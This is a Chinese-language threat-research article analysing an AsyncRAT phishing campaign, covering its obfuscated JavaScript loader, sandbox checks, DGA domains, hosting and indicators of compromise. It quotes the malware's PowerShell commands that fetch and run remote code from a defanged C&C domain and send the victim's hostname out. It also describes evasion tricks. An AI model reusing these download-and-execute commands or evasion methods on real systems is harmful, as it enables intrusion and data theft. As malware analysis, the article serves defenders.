研究人员发现了向毫无防备的受害者投递 AsyncRAT 的攻击行动。在至少 11 个月的时间里,攻击者致力于通过嵌入网络钓鱼页面的 JavaScript 脚本来投递 AsyncRAT 木马。切换了 100 余个域名与三百多个样本文件后,攻击者的攻击模式始终如一。
这些受害者都经过精心挑选,有一些与美国关键基础设施有关。新的攻击基础设施跟踪表明,该攻击行动仍然活跃。
AsyncRAT 是 2019 年发布的开源远控木马,源码在 GitHub 上可见。由于 AsyncRAT 免费且开源,使其成为了攻击者最常用的远控木马之一。其典型功能为:按键记录、横向平移与载荷投递等。
由于代码开源,许多攻击组织都基于开源代码进行定制化开发。根据趋势科技报道,甚至连 APT 组织 Earth Berberoka 也使用 AsyncRAT。
九月初,分析人员发现针对某些公司特定个人的网络钓鱼邮件激增。通过附件诱导受害者下载高度混淆的 JavaScript 代码,拉取后续的 PowerShell 脚本与 AsyncRAT 样本文件。基于代码相似,分析人员发现了更多的样本文件,最早的样本在 2023 年 2 月就出现了。
每月发现样本文件数
攻击链分为多个阶段,攻击者在部署 AsyncRAT 前会检查是否在沙盒中,并且多个阶段都使用了高强度的混淆。
感染链
JavaScript 代码通过恶意钓鱼网页投递给目标受害者。JS 代码中包含被注释掉的长字符串,文本由随机单词构成,其中 Melville、church、chapter 和 scottish 是重复次数最多的单词。有分析人员认为,这是类似梵文的内容。各种样本都具有不同的 TTP 来投递最终载荷,可能是不同的攻击者发起的攻击。
脚本代码经过高度混淆,多个函数嵌套避免直接出现可检测的命令。C&C 的 URL 地址也通过十进制方式进行了混淆。想要解密 URL,必须减去一个常量值再将数字转换为 ASCII 字符串。例如,数组(102 131 138 138 141 62 117 141 144 138 130 63)减去 30 再转换为 ASCII 后对应为字符串 Hello World!。
部分代码
该文件最终执行命令 conhost --headless powershell iex(curl -useb sduyvzep[.]top/1.php?hash=)
,其使用的 C&C 域名与 URL 进场更新,很难进行检测。
除了经常更换 C&C 域名与 URL 外,攻击者还尝试为每个受害者生成全新的 Loader。新样本文件使用随机的变量名,使得检测技术难以固定下来。
发出 GET 请求后,C&C 服务器响应脚本代码。代码中包含 base64 编码的数据与解码代码。解码后与脚本中硬编码的密钥进行异或,使用 Gunzip 进行解压缩并复制到内存中。启动 PowerShell 以无文件形式执行恶意代码,所有代码都经过高度混淆以逃避检测。
经过一系列的解码、解密与解压后,脚本命令可以总结为 iex(curl -useb "http://sduyvzep[.]top/2.php?id=$env:computername&key=$wiqnfex")
。其中,$env:computername 是失陷主机的主机名,$wiqnfex 是一个表示失陷主机是虚拟机或沙盒概率的 12 位的数字。
反沙盒指标的计算逻辑是:
三个命令的每种结果组合起来,就会计算得出最后的结果:
命令 | 值 |
---|---|
1a | 83686513507 |
1b | 58100085349 |
1c | 19309572834 |
2a | 30122468073 |
2b | 4677137650 |
2c | 45069878512 |
3a | 58812154367 |
3b | 123290835 |
3c | 70692379937 |
Constant | 2803759539 |
1b 是不是虚拟机,2c 则是虚拟机。虚拟机的值明显要大于不是虚拟机的值。C&C 服务器可能是通过码表或者值的大小范围来进行判断的。研究人员并没有通过暴力尝试穷举所有有效的响应,但这种反沙盒技术确实能够逃避许多沙盒的检测。
当 C&C 服务器收到错误的值,要么将请求重定向到 Google,要么返回与之前类似的脚本。该脚本请求部署在 temp.sh 上的 Payload,经过观察该 URL 链接都是一致不变的。每个新上传的文件,都会重新使用一个新的随机 URL,但攻击者并不关心该文件能否投递到受害者处。
脚本文件代码
有的杀软将该样本文件判断为 AsyncRAT,但其实不是。反编译后可以发现,该文件只是一个高仿 AsyncRAT 的诱饵文件。程序名为 DecoyClient,且未进行加密。样本文件中也不包含 C&C 服务器,回传数据中的字符串也有对应类似的俄语单词。
反编译代码
如果沙盒校验通过,就会响应带有下一个域名和 URL 的脚本,从而获取真正的 AsyncRAT 样本文件。
攻击者为样本文件进行了重度混淆,使得其难以进行检测。但网络侧的基础设施具备一些共同的特征,例如已发现的域名 sduyvzep[.]top、orivzije[.]top 和 zpeifujz[.]top 遵循如下结构:
以 sduyvzep[.]top 为例,如下所示:
sduyvzep[.]top 域名信息
通过该类特征,可以发现新的攻击基础设施。脚本代码中包含根据当前日期计算域名的逻辑,这样就可以根据时间的推移自动更换 C&C 域名。
DGA 计算逻辑
攻击者使用的 DGA 算法会利用日期生成种子并对其进行修改,确保每七天会生成一个新域名,生成日就在周天。种子选取从 a 到 n 的 15 个字母来生成域名。种子中的其他变量(2023 与 6542)用于进行域名模式的变更。
例如,2023 年 12 月后会出现的域名为:
根据固定的域名特征,可以发现历史的样本文件与未来的基础设施。除了注册者信息的特征,ASN 也有着明显的特征。样本文件中硬编码的域名都绑定在 BitLaunch 上,而 DGA 域名绑定在 DigitalOcean 上。
BitLaunch 官网
BitLaunch 并不出名,其 ASN 为 399629,该公司允许使用比特币、以太坊或莱特币等加密货币付款。这种商业模式吸引了犯罪分子,利用加密货币的匿名性保持隐蔽。此外,BitLaunch 还可用作 DigitalOcean、Vultr 或 linode 主机的桥梁。最便宜的选择是使用 BitLaunch 进行托管,但另一种选择是允许用户使用加密货币付款并在更可靠的 ASN 中进行托管。
绑定在 DigitalOcean 上的 DGA 域名,默认会显示 Welcome to the BitLaunch LEMP app. Log in to your server to configure your LEMP installation
。这可能表明,虽然域名绑定在 DigitalOcean 上,但攻击者可能是通过 BitLaunch 付费的。
域名情况
攻击者在 2023 年,使用了数百个不同的样本文件来感染受害者并且尽量保持了隐蔽。攻击者非常重视定制化,对样本不断进行混淆与修改。
ec48d692547341789a9205f607983f9cd485435df4fefda1654a5eccbe12bfb0 f5ad2158644b79eb5e5c1226ed9c1597dafde9b3376de5dc3e02673d135b487a 29dcf858f36f68827696a9a3ea1b4a821180569ab297d2f73c740b15832302d3 ae549e5f222645c4ec05d5aa5e2f0072f4e668da89f711912475ee707ecc871e
sduyvzep[.]top
orivzije[.]top
zpeifujz[.]top